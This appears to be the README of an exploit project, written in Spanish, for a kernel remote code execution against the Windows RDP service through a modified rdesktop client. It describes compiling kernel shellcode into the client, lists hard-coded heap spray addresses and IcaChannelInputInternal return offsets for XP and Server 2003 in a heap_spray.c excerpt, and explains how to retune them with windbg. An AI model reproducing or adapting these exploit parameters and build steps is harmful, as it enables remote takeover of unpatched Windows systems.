
funciona en xp (todas las versiones sp2 sp3)
pd: shellcode/shellcode.asm es el código fuente del shellcode de kernel. Después de compilarlo y convertirlo a binario, se obtiene el archivo rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b, que se compila directamente en el programa durante el make.
Actualmente solo es compatible con XP, se necesita memoria de XP >= 2GB
Si se necesita soporte para 2003, hay que modificar la macro HEAP_SPRAY_ADDRESS en heap_spray.c. Tras pruebas repetidas, esta dirección varía según la versión del sistema 2003 y el tamaño de memoria. Sin embargo, si se prueba en una máquina propia, se puede explotar con éxito en 2003. No es universal.
heap_spray.c
#ifdef _2003
#define HEAP_SPRAY_ADDRESS 0x953b09c0 //需要自己去windbg调试堆喷shellcode的地址 如果有朋友找到通用的解决方案欢迎提交issues
#define IcaChannelInputInternal_RET_OFFSET 0x268
#else
#define IcaChannelInputInternal_RET_OFFSET 0x274
#define HEAP_SPRAY_ADDRESS 0x88c969c0
#endif
Prueba en 2003
